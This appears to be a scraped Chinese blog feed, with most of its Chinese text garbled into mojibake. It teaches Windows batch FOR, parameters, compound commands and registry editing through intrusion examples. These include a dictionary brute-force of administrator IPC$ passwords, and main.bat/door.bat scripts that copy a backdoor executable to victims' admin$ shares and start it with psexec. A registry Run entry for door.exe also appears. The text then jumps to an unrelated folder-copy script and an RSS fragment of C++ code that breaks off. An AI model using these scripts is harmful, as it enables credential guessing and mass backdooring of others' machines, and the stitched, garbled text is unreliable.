鍦ㄤ綔涓哄懡浠ゆ墽琛屼竴涓悗寮曞彿鐨勫瓧絎︿覆騫朵笖
寮曞彿瀛楃涓烘枃瀛楀瓧絎︿覆鍛戒護騫跺厑璁稿湪 fi
涓嬌鐢ㄥ弻寮曞彿鎵╄搗鏂囦歡鍚嶇О銆?/p>

sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

浼氬垎鏋?myfile.txt 涓殑姣忎竴琛岋紝蹇界暐浠ュ垎鍙鋒墦澶寸殑閭d簺琛岋紝灝?br />姣忚涓殑絎簩涓拰絎笁涓鍙蜂紶閫掔粰 for 紼嬪簭浣擄紱鐢ㄩ楀彿鍜?鎴?br />絀烘牸瀹氱晫絎﹀彿銆傝娉ㄦ剰錛岃繖涓?for 紼嬪簭浣撶殑璇彞寮曠敤 %i 鏉?br />鍙栧緱絎簩涓鍙鳳紝寮曠敤 %j 鏉ュ彇寰楃涓変釜絎﹀彿錛屽紩鐢?%k
鏉ュ彇寰楃涓変釜絎﹀彿鍚庣殑鎵鏈夊墿浣欑鍙楓傚浜庡甫鏈夌┖鏍肩殑鏂囦歡
鍚嶏紝鎮(zhèn)ㄩ渶瑕佺敤鍙屽紩鍙峰皢鏂囦歡鍚嶆嫭璧鋒潵銆備負浜嗙敤榪欑鏂瑰紡鏉ヤ嬌
鐢ㄥ弻寮曞彿錛屾?zhèn)q橀渶瑕佷嬌鐢?usebackq 閫夐」錛屽惁鍒欙紝鍙屽紩鍙蜂細
琚悊瑙f垚鏄敤浣滃畾涔夋煇涓鍒嗘瀽鐨勫瓧絎︿覆鐨勩?/p>

%i 涓撻棬鍦?for 璇彞涓緱鍒拌鏄庯紝%j 鍜?%k 鏄氳繃
tokens= 閫夐」涓撻棬寰楀埌璇存槑鐨勩傛?zhèn)ㄥ彲浠ラ氳繃 tokens= 涓琛?br />鎸囧畾鏈澶?26 涓鍙鳳紝鍙涓嶈瘯鍥捐鏄庝竴涓珮浜庡瓧姣?/'z/' 鎴?br />/'Z/' 鐨勫彉閲忋傝璁頒綇錛孎OR 鍙橀噺鏄崟涓瀛楁瘝銆佸垎澶у皬鍐欏拰鍏ㄥ眬鐨勶紱
鍚屾椂涓嶈兘鏈?52 涓互涓婇兘鍦ㄤ嬌鐢ㄤ腑銆?/p>

鎮(zhèn)ㄨ繕鍙互鍦ㄧ浉閭誨瓧絎︿覆涓婁嬌鐢?FOR /F 鍒嗘瀽閫昏緫錛涙柟娉曟槸錛?br />鐢ㄥ崟寮曞彿灝嗘嫭鍙蜂箣闂寸殑 filenameset 鎷搗鏉ャ傝繖鏍鳳紝璇ュ瓧絎?br />涓蹭細琚綋浣滀竴涓枃浠朵腑鐨勪竴涓崟涓杈撳叆琛屻?/p>

鏈鍚庯紝鎮(zhèn)ㄥ彲浠ョ敤 FOR /F 鍛戒護鏉ュ垎鏋愬懡浠ょ殑杈撳嚭銆傛柟娉曟槸錛屽皢
鎷彿涔嬮棿鐨?filenameset 鍙樻垚涓涓弽鎷瓧絎︿覆銆傝瀛楃涓蹭細
琚綋浣滃懡浠よ錛屼紶閫掑埌涓涓瓙 CMD.EXE錛屽叾杈撳嚭浼氳鎶撹繘
鍐呭瓨錛屽茍琚綋浣滄枃浠跺垎鏋愩傚洜姝わ紝浠ヤ笅渚嬪瓙:

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

浼氭灇涓懼綋鍓嶇幆澧冧腑鐨勭幆澧冨彉閲忓悕縐般?/p>

鍙﹀錛孎OR 鍙橀噺鍙傜収鐨勬浛鎹㈠凡琚寮恒傛?zhèn)ㄧ幇鍦ㄥ彲浠ヤ娇鐢ㄤ笅鍒?br />閫夐」璇硶:

~I - 鍒犻櫎浠諱綍寮曞彿(")錛屾墿鍏?%I
%~fI - 灝?%I 鎵╁厖鍒頒竴涓畬鍏ㄥ悎鏍肩殑璺緞鍚?br />%~dI - 浠呭皢 %I 鎵╁厖鍒頒竴涓┍鍔ㄥ櫒鍙?br />%~pI - 浠呭皢 %I 鎵╁厖鍒頒竴涓礬寰?br />%~nI - 浠呭皢 %I 鎵╁厖鍒頒竴涓枃浠跺悕
%~xI - 浠呭皢 %I 鎵╁厖鍒頒竴涓枃浠舵墿灞曞悕
%~sI - 鎵╁厖鐨勮礬寰勫彧鍚湁鐭悕
%~aI - 灝?%I 鎵╁厖鍒版枃浠剁殑鏂囦歡灞炴?br />%~tI - 灝?%I 鎵╁厖鍒版枃浠剁殑鏃ユ湡/鏃墮棿
%~zI - 灝?%I 鎵╁厖鍒版枃浠剁殑澶у皬
%~$PATH:I - 鏌ユ壘鍒楀湪璺緞鐜鍙橀噺鐨勭洰褰曪紝騫跺皢 %I 鎵╁厖
鍒版壘鍒扮殑絎竴涓畬鍏ㄥ悎鏍肩殑鍚嶇О銆傚鏋滅幆澧冨彉閲?br />鏈瀹氫箟錛屾垨鑰呮病鏈夋壘鍒版枃浠訛紝姝ょ粍鍚堥敭浼氭墿鍏?br />絀哄瓧絎︿覆

鍙互緇勫悎淇グ絎︽潵寰楀埌澶氶噸緇撴灉:

%~dpI - 浠呭皢 %I 鎵╁厖鍒頒竴涓┍鍔ㄥ櫒鍙峰拰璺緞
%~nxI - 浠呭皢 %I 鎵╁厖鍒頒竴涓枃浠跺悕鍜屾墿灞曞悕
%~fsI - 浠呭皢 %I 鎵╁厖鍒頒竴涓甫鏈夌煭鍚嶇殑瀹屾暣璺緞鍚?br />%~dp$PATH:i - 鏌ユ壘鍒楀湪璺緞鐜鍙橀噺鐨勭洰褰曪紝騫跺皢 %I 鎵╁厖
鍒版壘鍒扮殑絎竴涓┍鍔ㄥ櫒鍙峰拰璺緞銆?br />%~ftzaI - 灝?%I 鎵╁厖鍒扮被浼艱緭鍑虹嚎璺殑 DIR

鍦ㄤ互涓婁緥瀛愪腑錛?I 鍜?PATH 鍙敤鍏朵粬鏈夋晥鏁板間唬鏇褲?~ 璇硶
鐢ㄤ竴涓湁鏁堢殑 FOR 鍙橀噺鍚嶇粓姝€傞夊彇綾諱技 %I 鐨勫ぇ鍐欏彉閲忓悕
姣旇緝鏄撹錛岃屼笖閬垮厤涓庝笉鍒嗗ぇ灝忓啓鐨勭粍鍚堥敭娣鋒穯銆?/p>

浠ヤ笂鏄疢S鐨勫畼鏂瑰府鍔╋紝涓嬮潰鎴戜滑涓懼嚑涓緥瀛愭潵鍏蜂綋璇存槑涓涓婩or鍛戒護鍦ㄥ叆渚典腑鐨勭敤閫斻?/p>

sample2錛?/p>

鍒╃敤For鍛戒護鏉ュ疄鐜板涓鍙扮洰鏍嘩in2k涓繪満鐨勬毚鍔涘瘑鐮佺牬瑙c?br />鎴戜滑鐢╪et use ////ip//ipc$ "password" /u:"administrator"鏉ュ皾璇曡繖鍜岀洰鏍囦富鏈鴻繘琛岃繛鎺ワ紝褰撴垚鍔熸椂璁頒笅瀵嗙爜銆?br />鏈涓昏鐨勫懡浠ゆ槸涓鏉★細for /f i% in (dict.txt) do net use ////ip//ipc$ "i%" /u:"administrator"
鐢╥%鏉ヨ〃紺篴dmin鐨勫瘑鐮侊紝鍦╠ict.txt涓繖涓彇i%鐨勫肩敤net use 鍛戒護鏉ヨ繛鎺ャ傜劧鍚庡皢紼嬪簭榪愯緇撴灉浼犻掔粰find鍛戒護錛嶏紞
for /f i%% in (dict.txt) do net use ////ip//ipc$ "i%%" /u:"administrator"|find ":鍛戒護鎴愬姛瀹屾垚">>D://ok.txt 錛岃繖鏍峰氨ko浜嗐?/p>

sample3錛?/p>

浣犳湁娌℃湁榪囨墜閲屾湁澶ч噺鑲夐浮絳夌潃浣犲幓縐嶅悗闂紜鏈ㄩ┈鍛紵錛屽綋鏁伴噺鐗瑰埆澶氱殑鏃跺欙紝鍘熸湰寰堝紑蹇冪殑涓浠朵簨閮戒細鍙樺緱寰堥儊闂鳳細錛夈傛枃绔犲紑澶村氨璋堝埌浣跨敤鎵瑰鐞嗘枃浠訛紝鍙互綆鍖栨棩甯告垨閲嶅鎬т換鍔°傞偅涔堝浣曞疄鐜板憿錛熷懙鍛碉紝鐪嬩笅鍘諱綘灝變細鏄庣櫧浜嗐?/p>

涓昏鍛戒護涔熷彧鏈変竴鏉★細錛堝湪鎵瑰鐞嗘枃浠朵腑浣跨敤 FOR 鍛戒護鏃訛紝鎸囧畾鍙橀噺浣跨敤 %%variable錛?br />@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens鐨勭敤娉曡鍙傝涓婇潰鐨剆ample1錛屽湪榪欓噷瀹冭〃紺烘寜欏哄簭灝唙ictim.txt涓殑鍐呭浼犻掔粰door.bat涓殑鍙傛暟%i %j %k銆?br />鑰宑ultivate.bat鏃犻潪灝辨槸鐢╪et use鍛戒護鏉ュ緩绔婭PC$榪炴帴錛屽茍copy鏈ㄩ┈錛嬪悗闂ㄥ埌victim錛岀劧鍚庣敤榪斿洖鐮侊紙If errorlever =錛夋潵絳涢夋垚鍔熺妞嶅悗闂ㄧ殑涓繪満錛屽茍echo鍑烘潵錛屾垨鑰卐cho鍒版寚瀹氱殑鏂囦歡銆?br />delims= 琛ㄧずvivtim.txt涓殑鍐呭鏄竴絀烘牸鏉ュ垎闅旂殑銆傛垜鎯崇湅鍒拌繖閲屼綘涔熶竴瀹氭槑鐧借繖victim.txt閲岀殑鍐呭鏄粈涔堟牱鐨勪簡銆傚簲璇ユ牴鎹?%i %%j %%k琛ㄧず鐨勫璞℃潵鎺掑垪錛屼竴鑸氨鏄?ip password username銆?br />浠g爜闆忓艦錛?br />--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------


------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use ////%1//ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection 鈥︹︹︹K
@copy windrv32.exe////%1//admin$//system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec ////%1 c://winnt//system32//windrv32.exe
@psexec ////%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
榪欏彧鏄竴涓嚜鍔ㄧ妞嶅悗闂ㄦ壒澶勭悊鐨勯洀褰紝涓や釜鎵瑰鐞嗗拰鍚庨棬紼嬪簭錛圵indrv32.exe錛?PSexec.exe闇鏀懼湪緇熶竴鐩綍涓?鎵瑰鐞嗗唴瀹?br />灝氬彲鎵╁睍,渚嬪:鍔犲叆娓呴櫎鏃ュ織+DDOS鐨勫姛鑳?鍔犲叆瀹氭椂娣誨姞鐢ㄦ埛鐨勫姛鑳?鏇存繁鍏ヤ竴鐐瑰彲浠ヤ嬌涔嬪叿澶囪嚜鍔ㄤ紶鎾姛鑳?锠曡櫕).姝ゅ涓嶅鍋氬彊榪?鏈夊叴瓚g殑鏈嬪弸鍙嚜琛岀爺絀?

浜?濡備綍鍦ㄦ壒澶勭悊鏂囦歡涓嬌鐢ㄥ弬鏁?br />鎵瑰鐞嗕腑鍙互浣跨敤鍙傛暟錛屼竴鑸粠1%鍒?9%榪欎節(jié)涓紝褰撴湁澶氫釜鍙傛暟鏃墮渶瑕佺敤shift鏉ョЩ鍔紝榪欑鎯呭喌騫朵笉澶氳錛屾垜浠氨涓嶈冭檻瀹冧簡銆?br />sample1錛歠omat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
榪欎釜渚嬪瓙鐢ㄤ簬榪炵畫鍦版牸寮忓寲鍑犲紶杞洏錛屾墍浠ョ敤鐨勬椂鍊欓渶鍦╠os紿楀彛杈撳叆fomat.bat a錛屽懙鍛?濂藉儚鏈夌偣鐢昏泧娣昏凍浜嗭綖^_^
sample2錛?br />褰撴垜浠寤虹珛涓涓狪PC$榪炴帴鍦版椂鍊欐昏杈撳叆涓澶т覆鍛戒護錛屽紕涓嶅ソ灝辨墦閿欎簡錛屾墍浠ユ垜浠笉濡傛妸涓浜涘浐瀹氬懡浠ゅ啓鍏ヤ竴涓壒澶勭悊錛屾妸鑲夐浮鍦癷p password username 褰撶潃鍙傛暟鏉ヨ祴緇欒繖涓壒澶勭悊錛岃繖鏍峰氨涓嶇敤姣忔閮芥墦鍛戒護浜嗐?br />@echo off
@net use ////1%//ipc$ "2%" /u:"3%" 娉ㄦ剰鍝︼紝榪欓噷PASSWORD鏄浜屼釜鍙傛暟銆?br />@if errorlevel 1 echo connection failed
鎬庝箞鏍?浣跨敤鍙傛暟榪樻槸姣旇緝綆鍗曠殑鍚э紵浣犺繖涔堝竻涓瀹氬浼氫簡^_^.No.3
涓?濡備綍浣跨敤緇勫悎鍛戒護(Compound Command)

1.&

Usage錛氱涓鏉″懡浠?& 絎簩鏉″懡浠?[& 絎笁鏉″懡浠?..]

鐢ㄨ繖縐嶆柟娉曞彲浠ュ悓鏃舵墽琛屽鏉″懡浠わ紝鑰屼笉綆″懡浠ゆ槸鍚︽墽琛屾垚鍔?/p>

Sample錛?br />C://>dir z: & dir c://Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c://Ex4rch

2002-05-14 23:51 <DIR> .
2002-05-14 23:51 <DIR> ..
2002-05-14 23:51 14 sometips.gif

2.&&

Usage錛氱涓鏉″懡浠?&& 絎簩鏉″懡浠?[&& 絎笁鏉″懡浠?..]

鐢ㄨ繖縐嶆柟娉曞彲浠ュ悓鏃舵墽琛屽鏉″懡浠わ紝褰撶鍒版墽琛屽嚭閿欑殑鍛戒護鍚庡皢涓嶆墽琛屽悗闈㈢殑鍛戒護錛屽鏋滀竴鐩存病鏈夊嚭閿欏垯涓鐩存墽琛屽畬鎵鏈夊懡浠わ紱

Sample錛?br />C://>dir z: && dir c://Ex4rch
The system cannot find the path specified.

C://>dir c://Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c://Ex4rch

2002-05-14 23:55 <DIR> .
2002-05-14 23:55 <DIR> ..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.

鍦ㄥ仛澶囦喚鐨勬椂鍊欏彲鑳戒細鐢ㄥ埌榪欑鍛戒護浼氭瘮杈冪畝鍗曪紝濡傦細
dir file://192.168.0.1/database/backup.mdb && copy file://192.168.0.1/database/backup.mdb E://backup
濡傛灉榪滅▼鏈嶅姟鍣ㄤ笂瀛樺湪backup.mdb鏂囦歡錛屽氨鎵цcopy鍛戒護錛岃嫢涓嶅瓨鍦ㄨ鏂囦歡鍒欎笉鎵цcopy鍛戒護銆傝繖縐嶇敤娉曞彲浠ユ浛鎹F exist浜?錛氾級

3.||

Usage錛氱涓鏉″懡浠?|| 絎簩鏉″懡浠?[|| 絎笁鏉″懡浠?..]

鐢ㄨ繖縐嶆柟娉曞彲浠ュ悓鏃舵墽琛屽鏉″懡浠わ紝褰撶鍒版墽琛屾紜殑鍛戒護鍚庡皢涓嶆墽琛屽悗闈㈢殑鍛戒護錛屽鏋滄病鏈夊嚭鐜版紜殑鍛戒護鍒欎竴鐩存墽琛屽畬鎵鏈夊懡浠わ紱

Sample錛?br />C://Ex4rch>dir sometips.gif || del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of C://Ex4rch

2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free

緇勫悎鍛戒護浣跨敤鐨勪緥瀛愶細
sample錛?br />@copy trojan.exe ////%1//admin$//system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt

鍥涖佺閬撳懡浠ょ殑浣跨敤

1.| 鍛戒護
Usage錛氱涓鏉″懡浠?| 絎簩鏉″懡浠?[| 絎笁鏉″懡浠?..]
灝嗙涓鏉″懡浠ょ殑緇撴灉浣滀負絎簩鏉″懡浠ょ殑鍙傛暟鏉ヤ嬌鐢紝璁板緱鍦╱nix涓繖縐嶆柟寮忓緢甯歌銆?/p>

sample錛?br />time /t>>D://IP.log
netstat -n -p tcp|find ":3389">>D://IP.log
start Explorer
鐪嬪嚭鏉ヤ簡涔堬紵鐢ㄤ簬緇堢鏈嶅姟鍏佽鎴戜滑涓虹敤鎴瘋嚜瀹氫箟璧峰鐨勭▼搴忥紝鏉ュ疄鐜拌鐢ㄦ埛榪愯涓嬮潰榪欎釜bat錛屼互鑾峰緱鐧誨綍鐢ㄦ埛鐨処P銆?/p>

2.>銆?gt;>杈撳嚭閲嶅畾鍚戝懡浠?br />灝嗕竴鏉″懡浠ゆ垨鏌愪釜紼嬪簭杈撳嚭緇撴灉鐨勯噸瀹氬悜鍒扮壒瀹氭枃浠朵腑, > 涓?>>鐨勫尯鍒湪浜庯紝>浼氭竻闄よ皟鍘熸湁鏂囦歡涓殑鍐呭鍚庡啓鍏ユ寚瀹氭枃浠訛紝鑰?gt;>鍙細榪藉姞鍐呭鍒版寚瀹氭枃浠朵腑錛岃屼笉浼氭敼鍔ㄥ叾涓殑鍐呭銆?/p>

sample1錛?br />echo hello world>c://hello.txt (stupid example?)

sample2:
鏃朵笅DLL鏈ㄩ┈鐩涜錛屾垜浠煡閬搒ystem32鏄釜鎹夎糠钘忕殑濂藉湴鏂癸紝璁稿鏈ㄩ┈閮藉墛灝栦簡鑴戣寰閭i噷閽伙紝DLL椹篃涓嶄緥澶栵紝閽堝榪欎竴鐐規(guī)垜浠彲浠ュ湪瀹夎濂界郴緇熷拰蹇呰鐨勫簲鐢ㄧ▼搴忓悗錛屽璇ョ洰褰曚笅鐨凟XE鍜孌LL鏂囦歡浣滀竴涓褰曪細
榪愯CMD--杞崲鐩綍鍒皊ystem32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
榪欐牱鎵鏈夌殑EXE鍜孌LL鏂囦歡鐨勫悕縐伴兘琚垎鍒褰曞埌exeback.txt鍜宒llback.txt涓?
鏃ュ悗濡傚彂鐜板紓甯鎬絾鐢ㄤ紶緇熺殑鏂規(guī)硶鏌ヤ笉鍑洪棶棰樻椂,鍒欒鑰冭檻鏄笉鏄郴緇熶腑宸茬粡娼滃叆DLL鏈ㄩ┈浜?
榪欐椂鎴戜滑鐢ㄥ悓鏍風(fēng)殑鍛戒護灝唖ystem32涓嬬殑EXE鍜孌LL鏂囦歡璁板綍鍒板彟澶栫殑exeback1.txt鍜宒llback1.txt涓?鐒跺悗榪愯:
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(鐢‵C鍛戒護姣旇緝鍓嶅悗涓ゆ鐨凞LL鍜孍XE鏂囦歡,騫跺皢緇撴灉杈撳叆鍒癲iff.txt涓?,榪欐牱鎴戜滑灝辮兘鍙戠幇涓浜涘鍑烘潵鐨凞LL鍜孍XE鏂囦歡,鐒跺悗閫氳繃鏌ョ湅鍒涘緩鏃墮棿銆佺増鏈佹槸鍚︾粡榪囧帇緙╃瓑灝辮兘澶熸瘮杈冨鏄撳湴鍒ゆ柇鍑烘槸涓嶆槸宸茬粡琚獶LL鏈ㄩ┈鍏夐【浜嗐傛病鏈夋槸鏈濂斤紝濡傛灉鏈夌殑璇濅篃涓嶈鐩存帴DEL鎺夛紝鍏堢敤regsvr32 /u trojan.dll灝嗗悗闂―LL鏂囦歡娉ㄩ攢鎺?鍐嶆妸瀹冪Щ鍒板洖鏀剁珯閲岋紝鑻ョ郴緇熸病鏈夊紓甯稿弽鏄犲啀灝嗕箣褰誨簳鍒犻櫎鎴栬呮彁浜ょ粰鏉姣掕蔣浠跺叕鍙搞?/p>

3.< 銆?gt;& 銆?lt;&
< 浠庢枃浠朵腑鑰屼笉鏄粠閿洏涓鍏ュ懡浠よ緭鍏ャ?br />>& 灝嗕竴涓彞鏌勭殑杈撳嚭鍐欏叆鍒板彟涓涓彞鏌勭殑杈撳叆涓?br /><& 浠庝竴涓彞鏌勮鍙栬緭鍏ュ茍灝嗗叾鍐欏叆鍒板彟涓涓彞鏌勮緭鍑轟腑銆?br />榪欎簺騫朵笉甯哥敤錛屼篃灝變笉澶氬仛浠嬬粛銆?/p>

No.5
浜?濡備綍鐢ㄦ壒澶勭悊鏂囦歡鏉ユ搷浣滄敞鍐岃〃

鍦ㄥ叆渚佃繃紼嬩腑緇忓父鍥炴搷浣滄敞鍐岃〃鐨勭壒瀹氱殑閿兼潵瀹炵幇涓瀹氱殑鐩殑錛屼緥濡?涓轟簡杈懼埌闅愯棌鍚庨棬銆佹湪椹▼搴忚屽垹闄un涓嬫畫浣欑殑閿箋傛垨鑰呭垱寤轟竴涓湇鍔$敤浠ュ姞杞藉悗闂ㄣ傚綋鐒舵垜浠篃浼氫慨鏀規(guī)敞鍐岃〃鏉ュ姞鍥虹郴緇熸垨鑰呮敼鍙樼郴緇熺殑鏌愪釜灞炴э紝榪欎簺閮介渶瑕佹垜浠娉ㄥ唽琛ㄦ搷浣滄湁涓瀹氱殑浜嗚В銆備笅闈㈡垜浠氨鍏堝涔犱竴涓嬪浣曚嬌鐢?REG鏂囦歡鏉ユ搷浣滄敞鍐岃〃.(鎴戜滑鍙互鐢ㄦ壒澶勭悊鏉ョ敓鎴愪竴涓猂EG鏂囦歡)
鍏充簬娉ㄥ唽琛ㄧ殑鎿嶄綔錛屽父瑙佺殑鏄垱寤恒佷慨鏀廣佸垹闄ゃ?/p>

1.鍒涘緩
鍒涘緩鍒嗕負涓ょ錛屼竴縐嶆槸鍒涘緩瀛愰」(Subkey)

鎴戜滑鍒涘緩涓涓枃浠訛紝鍐呭濡備笅錛?/p>

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//hacker]

鐒跺悗鎵ц璇ヨ剼鏈紝浣犲氨宸茬粡鍦℉KEY_LOCAL_MACHINE//SOFTWARE//Microsoft涓嬪垱寤轟簡涓涓悕瀛椾負鈥渉acker鈥濈殑瀛愰」銆?/p>

鍙︿竴縐嶆槸鍒涘緩涓涓」鐩悕縐?br />閭h繖縐嶆枃浠舵牸寮忓氨鏄吀鍨嬬殑鏂囦歡鏍煎紡錛屽拰浣犱粠娉ㄥ唽琛ㄤ腑瀵煎嚭鐨勬枃浠舵牸寮忎竴鑷達紝鍐呭濡備笅錛?/p>

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]
"Invader"="Ex4rch"
"Door"=C:////WINNT////system32////door.exe
"Autodos"=dword:02

榪欐牱灝卞湪[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]涓?br />鏂板緩浜?Invader銆乨oor銆乤bout榪欎笁涓」鐩?br />Invader鐨勭被鍨嬫槸鈥淪tring Value鈥?br />door鐨勭被鍨嬫槸鈥淩EG SZ Value鈥?br />Autodos鐨勭被鍨嬫槸鈥淒WORD Value鈥?/p>


2.淇敼
淇敼鐩稿鏉ヨ姣旇緝綆鍗曪紝鍙鎶婁綘闇瑕佷慨鏀圭殑欏圭洰瀵煎嚭錛岀劧鍚庣敤璁頒簨鏈繘琛屼慨鏀癸紝鐒跺悗瀵煎叆錛坮egedit /s錛夊嵆鍙?/p>

3.鍒犻櫎
鎴戜滑棣栧厛鏉ヨ璇村垹闄や竴涓」鐩悕縐幫紝鎴戜滑鍒涘緩涓涓涓嬬殑鏂囦歡錛?/p>

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]
"Ex4rch"=-

鎵ц璇ヨ剼鏈紝[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]涓嬬殑"Ex4rch"灝辮鍒犻櫎浜嗭紱

--------------------------------------------------------------------------------

浠ヤ笂涓鴻漿杞藉唴瀹?/p>

%CD%聽聽 褰撳墠璺緞current directory
ITH305 http://www.cs.ntu.edu.au/homepages/bea/home/subjects/ith305/ith305.html

鎵瑰鐞哻opy鐗瑰畾鍚嶇О鐩綍鐨勫唴瀹癸細

shark鐨勬ā鍧楁湁浜屽崄鍏釜錛屾簮鏂囦歡鍒嗘暎鍦ㄥ悇涓枃浠跺す(濡備笅)銆傜敤eclipse闃呰鐨勮瘽瑕佷竴涓釜鎶妔rc鏂囦歡鐨勫唴瀹瑰鍏ュ埌欏圭洰涓傚湪瀹舵憜寮勭殑鏃跺欐葷畻鎯沖埌涓柟娉曟潵鑷姩copy榪欎簺鏂囦歡銆?浜哄鍒嗙被鍒嗗緱濂藉ソ鐨勶紝鎴戞妸浠栦滑鍚堝茍鍦ㄤ竴璧鳳紝榪欐槸鎼炵牬鍧忓搱)

鏂囦歡鐩綍褰㈠紡:
shark-1.1
聽聽聽 modules
聽聽聽聽聽聽聽 SharkAPI
聽聽聽聽聽聽聽聽聽聽聽 src
聽聽聽聽聽聽聽 SharkApplicationMapPersistence
聽聽聽聽聽聽聽聽聽聽聽 DODS
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 src
聽聽聽聽聽聽聽聽聽聽聽 Hibernate
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 src
聽聽聽 ...

cpysrc.dat

@echo off
if "X%1"=="X" goto initialize
goto becalled
:initialize
if exist subdirs.txt del subdirs.txt>nul
dir /d /b /a:d> subdirs.txt
for /f %%i in (subdirs.txt ) do call E:\Resource\shark-1.1\modules\cpysrc.bat %%i
del subdirs.txt>nul
goto end
:becalled
if "%1"=="src" xcopy src\*.* E:\JavaApp\Shark\src\ /s && goto end
cd %1
call E:\Resource\shark-1.1\modules\cpysrc.bat
cd ..
:end

鍦╟pysrc.bat淇濆瓨鍒癊:\Resource\shark-1.1\modules\涓嬪茍鎵ц灝卞彲浠ャ俢pysrc.bat灝嗛亶鍘嗗綋鍓嶇洰褰曚笅鐨勬墍鏈夌洰褰曪紝騫禼opy鍚嶄負src鏂囦歡澶逛笅鐨勬墍鏈夊唴瀹瑰埌E:\JavaApp\Shark\src\銆?/p>

brent 2005-12-19 08:52 鍙戣〃璇勮
]]>
NT涓嬪垽鏂敤鎴鋒槸鍚︽湁綆$悊鍛樻潈闄?/title><link>http://www.shnenglu.com/aqazero/archive/2005/07/25/14197.html</link><dc:creator>brent</dc:creator><author>brent</author><pubDate>Mon, 25 Jul 2005 01:11:00 GMT</pubDate><guid>http://www.shnenglu.com/aqazero/archive/2005/07/25/14197.html</guid><wfw:comment>http://www.shnenglu.com/aqazero/comments/14197.html</wfw:comment><comments>http://www.shnenglu.com/aqazero/archive/2005/07/25/14197.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.shnenglu.com/aqazero/comments/commentRss/14197.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/aqazero/services/trackbacks/14197.html</trackback:ping><description><![CDATA[OK,  Thanks to Loaden found out that my original code to determine whether an user is in Administrators group is totally bullshit.<br><br>And after googling for a while, I found something and test it, simply works. I will just paste the code here. Thanks to the author and google and God.<br><br><a target="_blank" >http://www.mihai-nita.net/article.php?artID=20070413a</a><br> <div style="border: 1px solid #cccccc; padding: 4px 5px 4px 4px; background-color: #eeeeee; font-size: 13px; width: 98%;"><!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>--><span style="color: #008000;">//</span><span style="color: #008000;"> IsAdminAPI.cpp : Tests if user is Administrator using plain Win32 API<br></span><span style="color: #008000;">//</span><span style="color: #008000;"> Copyright (c) April 2007, Mihai Nita<br></span><span style="color: #008000;">//<br></span><span style="color: #000000;"><br>#include </span><span style="color: #000000;"><</span><span style="color: #000000;">wtypes.h</span><span style="color: #000000;">></span><span style="color: #000000;"><br>#include </span><span style="color: #000000;"><</span><span style="color: #000000;">Lm.h</span><span style="color: #000000;">></span><span style="color: #000000;"><br><br></span><span style="color: #008000;">//</span><span style="color: #008000;"> for ASSERT</span><span style="color: #008000;"><br></span><span style="color: #000000;">#include </span><span style="color: #000000;"><</span><span style="color: #000000;">crtdbg.h</span><span style="color: #000000;">></span><span style="color: #000000;"><br><br>#include </span><span style="color: #000000;">"</span><span style="color: #000000;">IsAdminAPI.h</span><span style="color: #000000;">"</span><span style="color: #000000;"><br><br></span><span style="color: #0000ff;">bool</span><span style="color: #000000;"> IsAdminAPI( WCHAR </span><span style="color: #0000ff;">const</span><span style="color: #000000;"> </span><span style="color: #000000;">*</span><span style="color: #000000;">szUserName )<br>{<br>    _ASSERT(szUserName);<br><br>    </span><span style="color: #0000ff;">bool</span><span style="color: #000000;"> bAdmin </span><span style="color: #000000;">=</span><span style="color: #000000;"> FALSE;<br>    LOCALGROUP_USERS_INFO_0</span><span style="color: #000000;">*</span><span style="color: #000000;"> localGroups;<br>    DWORD entriesread, totalentries;<br>    NET_API_STATUS nts </span><span style="color: #000000;">=</span><span style="color: #000000;"> NetUserGetLocalGroups( NULL, szUserName, </span><span style="color: #000000;">0</span><span style="color: #000000;">, </span><span style="color: #000000;">0</span><span style="color: #000000;">, (unsigned </span><span style="color: #0000ff;">char</span><span style="color: #000000;">**</span><span style="color: #000000;">)</span><span style="color: #000000;">&</span><span style="color: #000000;">localGroups, MAX_PREFERRED_LENGTH, </span><span style="color: #000000;">&</span><span style="color: #000000;">entriesread, </span><span style="color: #000000;">&</span><span style="color: #000000;">totalentries);<br><br>    </span><span style="color: #0000ff;">if</span><span style="color: #000000;">( nts </span><span style="color: #000000;">!=</span><span style="color: 